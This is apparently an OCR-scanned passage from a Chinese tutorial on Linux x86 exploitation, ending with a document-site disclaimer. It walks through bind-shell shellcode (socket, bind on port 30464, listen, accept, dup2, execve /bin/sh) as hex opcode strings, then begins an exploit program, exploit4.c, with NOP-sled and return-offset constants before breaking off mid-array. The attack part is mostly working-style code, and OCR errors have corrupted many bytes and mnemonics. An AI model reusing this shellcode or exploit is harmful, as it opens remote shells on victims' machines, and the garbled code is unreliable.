/*端標(biāo)語(0x7700=30464)放在Oxe(%esi)*/

"\x8d\x46\x0c"/*lealOxc(%esi),%eax*/

/*%eax=serv_addr的地址*/

”\x89\x46\x04"/*movl%eax,0x4(%esi)*/

/*第二個參數(shù).刃

"\x31\xc0"/*xorl%eax,%eax*/

”\x89\x46\xl0"/*movl%eax,0x!0(%esi)*/

/*serv_addr.sin_addr.s_addr=()*/

"\xbO\xlO"/*movbS0xl0,%al*/

”\x89\x46\x08"/*movl%eax,0x8(%esi)*/

/*第三個參數(shù).*/

"\xb0\x66"/*movb$0x66,%al*/

”\xb3\xO2”/*movb$0x2,%bl*/

"\xcd\x80"/*intS0x80*/

lislen(socj)的匯編代碼

/*listen使用66號系統(tǒng)調(diào)用,4號子調(diào)用。*/

/*他使用一段內(nèi)存塊來傳遞參數(shù).*/

/*%ccx里面為這個內(nèi)存塊的地址指針.*/

charcode[]=

"\x89\xfl"/*movl%esi,%ecx*/

"\x89\x()6"/*movl%cax,(%esi)*/

/*%cax的內(nèi)容為剛才socket調(diào)用的返回值,*/

/*就是soc文獻(xiàn)描述符,作為第一個參數(shù)*/

"\xb0\x0l"/*movbSOxl,%al*/

"\x89\x46\x04"/*movl%cax,0x4(%esi)*/

/*第二個參數(shù).?/

"\xb0\x66"/*movbS0x66,%aI*/

"\xb3\x04"/*movb$0x4,%bl*/

"\xcd\x80"/*intS0x80*/

accept(soc,0,0)的匯編代碼

/*accept使用66號系統(tǒng)調(diào)用,5號子調(diào)用。*/

/*他使用一段內(nèi)存塊來傳遞參數(shù)。*/

/*%ecx里面為這個內(nèi)存塊的地址指針.*/

charcode[]=

"\x89\xfl"/*movl%esi,%ecx*/

"\x89\xfl"/*movl%eax,(%esi)*/

/*%cax的內(nèi)容為剛才socket調(diào)用的返回值,*/

/*就是soc文獻(xiàn)描述符,作為第一個參數(shù)*/

"\x31\xc0"/*xorl%eax,%eax*/

"\x89\x46\xO4"/*movl%cax,0x4(%esi)*/

/*第二個參數(shù).*/

"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

/*第三個參數(shù).*/

"\xb0\x66"/*movbS0x66,%al*/

"\xb3\x05"/*movb$0x5,%bl*/

"\xcd\x80"/*intS0x80*/

dup2(cli,0)的匯編代碼

/*第一個參數(shù)為%ebx,第二個參數(shù)為%ecx*/

charcodclJ=

/*%cax里面是剛才accept調(diào)用的返回值,求/

/*客戶的文獻(xiàn)描述符cli.*/

"\x88\xc3"/*movb%al,%bl*/

"\xb0\x3f/*movb$0x3f,%al*/

"\x31\xc9"/*xorl%ecx,%ecx*/

"\xcd\x80"/*intSOx8O*/

現(xiàn)在該把這些所有的細(xì)節(jié)都串起來,形成一個新的shell的時候了。

newshellcode

charshellcode[]=

00"\x31\xc0"/*xorl%eax,%eax*/

02"\xbO\xO2"/*movb$0x2,%al*/

04"\xcd\x80"/*int$0x80O

06"\x85\xc0"/*(estl%eax.%eax*/

08,,\x75\x43"/*jne0x43*/

/*執(zhí)行fork。,當(dāng)fork()!=0的時候,表白是父進程,要終止*/

/*因此,跳到0x43+a=0x4d,再跳到后面,執(zhí)行exit(O)*/

Oa,,\xeb\x43"/*jmp0x43*/

/*當(dāng)fork()==0的時候,表白是子進程*/

/*因此,跳到0x43i0c=0x4f,再跳到后面,執(zhí)行call-0xa5求/

0cH\x5e"/*popl%esi*/

Od"\x31\xc0"/*xorl%eax,%eax*/

0「”\x31\xdb”/*xorl%ebx,%ebx*/

II"\x89\xfl"/*movl%esi,%ecx*/

13"\xb0\x02"/*movb$0x2,%al*/

15"\x89\x06"/*movl%eax,(%esi)*/

17"\xb0\x01"/*movb$0x1,%al*/

19"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

1c,,\xb0\x06"/*movb$0x6,%al*/

le"\x89\x46\x08"/*movl%eax,0x8(%esi)匍

21"\xb0\x66"/*movb$0x66,%al*/

23"\xb3\x0r*/*movb$0xl,%bl*/

25"\xcd\x80"/*int$0x80x/

/*執(zhí)行socket(),eax里面為返回值soc文獻(xiàn)描述符*/

27"\x89\x06"/*movl%eax,(%esi)*/

29"\xb0\x02"/*movb$0x2,%al*/

2d"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/

2f"\xb0\x77"/*movb$0x77,%al*/

31"\x66\x89\x46\x0e0/*movw%ax,Oxe(%esi)*/

35"\x8d\x46\x0c"/*lealOxc(%esi),%eax*/

38"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

3b"\x31\xc0"/*xorl%cax,%cax

3d"\x89\x46\xl0"/*movl%eax,OxlO(%esi)*/

40M\xbO\x10"/*movb$0x10,%al*/

42"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

45"\xb0\x66"/*movb$0x66,%al*/

47"\xb3\xO2"/*movb$0x2,%bl*/

49'?\xcd\x80"/*int$0x80V

/*執(zhí)行bind。*/

4b),\xeb\x04"/*jnip0x4*1

/*越過下面的兩個跳轉(zhuǎn)*/

4d”\xeb\x55"/*jnip0x55x/

/*跳到0x4f+0x55=0xa4*/

4f"\xeb\x5b"/*jmp0x5b*/

/*跳到0x51+0x5b=0xac?/

51"\xbO\xOr*/*movb$0x1,%al*/

53"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

56"\xb0\x66"/*movb$0x66,%al*/

58"\xb3\x04"/*movb$0x4,%bl*/

5a"\xcd\x80"/*ini$0x80*/

/*執(zhí)行l(wèi)islen()*/

5cH\x31\xc0"/*xorl%eax,%eax*/

5en\x89\x46\x()4"/*movl%eax,0x4(%esi)*/

61"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

64"\xb0\x66"/*movb$0x66,%al*/

66n\xb3\xO5M/*movb$0x5,%bl*/

68"\xcd\x8O”/*int$0x80x/

/*執(zhí)行acccpt(),cax里面為返回值cli文獻(xiàn)描述符*/

6a"\x88\xc3”/*movb%al,%bl*/

6c"\xbO\x3f'/*movb$0x3f,%al*/

6e"\x31\xc9"/*xorl%ecx,%ecx*/

70"\xcd\x80"/*int$0x807

72"\xb()\x3fM/*movb$0x3f,%al*/

74"\xbl\x01"/*movb$0x1,%cl*/

76"\xcd\x80"/*int$0x807

78"\xb0\x3f/*movb$0x3f,%al*/

7a"\xbl\x02"/*movb$0x2,%cl*/

7c"\xcd\x80"/*int$0x80*/

/*執(zhí)行三個dup2()*/

7e"\xb8\x2f\x62\x69\x6e"產(chǎn)movlS0x6e69622f,%eax*/

/*%eax='7bino*/

83"\x89\x06"/*movl%eax,(%esi)*/

85,,\xb8\x2Ax73\x68\x2f,/*movl$0x2f68732f,%eax*/

/*%eax=Vsh/"*/

8a"\x89\x46\x04"/*movl%cax,0x4(%csi)*/

8d"\x31\xc0"/*xorl%eax,%eax*/

8f,,\x88\x46\x07"/*movb%al,0x7(%esi)*/

92"\x89\x76\x08"/*movl%esi,0x8(%esi)*/

95"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/

98"\xbO\xOb"/*movb$Oxb,%al*/

9a”\x89\xf3"/*movl%esi,%ebx*/

9c"\x8d\x4e\x08"/*lealOx8(%csi),%ccx*/

9f"\x8d\x56\xOc"/*lealOxc(%esi),%edx*/

a2n\xcd\x8O"/*ini$0x80*/

/*執(zhí)行execve()*/

/*運營/bin/sh()?/

a4"\x31\xcO"/*xorl%cax,%cax*/

a6"\xb0\x01"/*movb$0x1,%al*/

a8"\x31\xdb"/*xorl%ebx.%ebx*/

aa"\xcd\x80"/*int$0x80*/

/*執(zhí)行exil。*/

ac"\xe8\x5b\xmxff\xff/*call-0xa5*/

/*執(zhí)行0x0c處的指令*/

bl

好,長長的shell終于寫完了,下面就是襲擊程序了。

cxploit4.c

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#include<netdb.h>

#include<netinet/in.h>

#defineALIGN0

#dcfineOFFSET0

#defineRET.POSITION1024

#defineRANGE200

#deHneNOP0x90

charshellcode[]=

"\x31\xcO"/*xorl%eax,%eax*/

"\xb0\x02"/*movb$0x2,%al*/

"\xcd\x80"/*intS0x80*/

"\x85\xc0"/*testl%eax,%cax*/

"\x75\x43"/*jnc0x43*/

"\xeb\x43"/*jmp0x43*/

"\x5e"/*popl%esi*/

"\x31\xc0"/*xorl%eax,%cax*/

"\x31\xdb"/*xorl%ebx,%ebx*/

"\x89\xfl"/*movl%esi,%ecx*/

"\xb()\x()2"/*movb$0x2,%al*/

"\x89\x06"/*movl%cax,(%csi)*/

"\xb0\x01"/*movb$0x1,%al*/

"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

"\xbO\xO6"/*movb$0x6,%al*/

"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

"\xb0\x66"/*movb$0x66,%al*/

"\xb3\x01"/*movb$0x1,%bl*/

"\xcd\x80"/*intS0x80*/

"\x89\x06"/*movl%eax,(%esi)*/

"\xb0\x02"/*movb$0x2,%al*/

"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/

"\xb0\x77"/*movb$0x77,%al*/

"\x66\x89\x46\x0e"/*movw%ax,Oxe(%esi)*/

"\x8d\x46\x0c0/*lealOxc(%esi),%eax*/

"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

"\x31\xc0"/*xorl%cax,%cax*/

"\x89\x46\xl0"/*movl%cax.Ox10(%csi)*/

"\xbO\xlO"/*movbSOxlO,%ai*/

"\x89\x46\x08"/*movl%eax,()x8(%esi)*/

"\xb0\x66"/*movbS0x66,%al*/

"\xb3\xO2"/*movb$0x2,%bl*/

"\xcd\x80"/*intS0x80*/

"\xeb\x()4"/*jmp0x4*/

"\xcb\x55"/*jmp0x55*/

"\xeb\x5b"/*jmp0x5b*/

"\xbO\xOI"/*movbSOxl,%al*/

"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

"\xb0\x66"/*movb$0x66,%al*/

"\xb3\x04"/*movb$0x4,%bl*/

"\xcd\x80"/*intS0x80*/

"\x31\xc0"/*xorl%eax,%eax*/

"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

"\xb0\x66"/*movb$0x66,%al*/

"\xb3\x05"/*movb$0x5,%bl*/

"\xcd\x80"/*int$0x80*/

"\x88\xc3"/*movb%al,%bl*/

"\xbO\x3f/*movb$0x3f,%al*/

"\x31\xc9"/*xorl%ccx,%ccx*/

"\xcd\x80"怦intS0x80*/

"\xb0\x3r'/*movbS0x3f,%al*/

"\xbl\xOI"/*movbSOxl,%cl*/

"\xcd\x80"/*intS0x80*/

"\xb0\x3f/*movb$0x3f,%al*/

"\xbi\x02"/*movb$0x2,%cl*/

"\xcd\x80"/*intS0x80*/

"\xb8\x2l\x62\x69\x6c"/*movl$0x6c69622f,

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論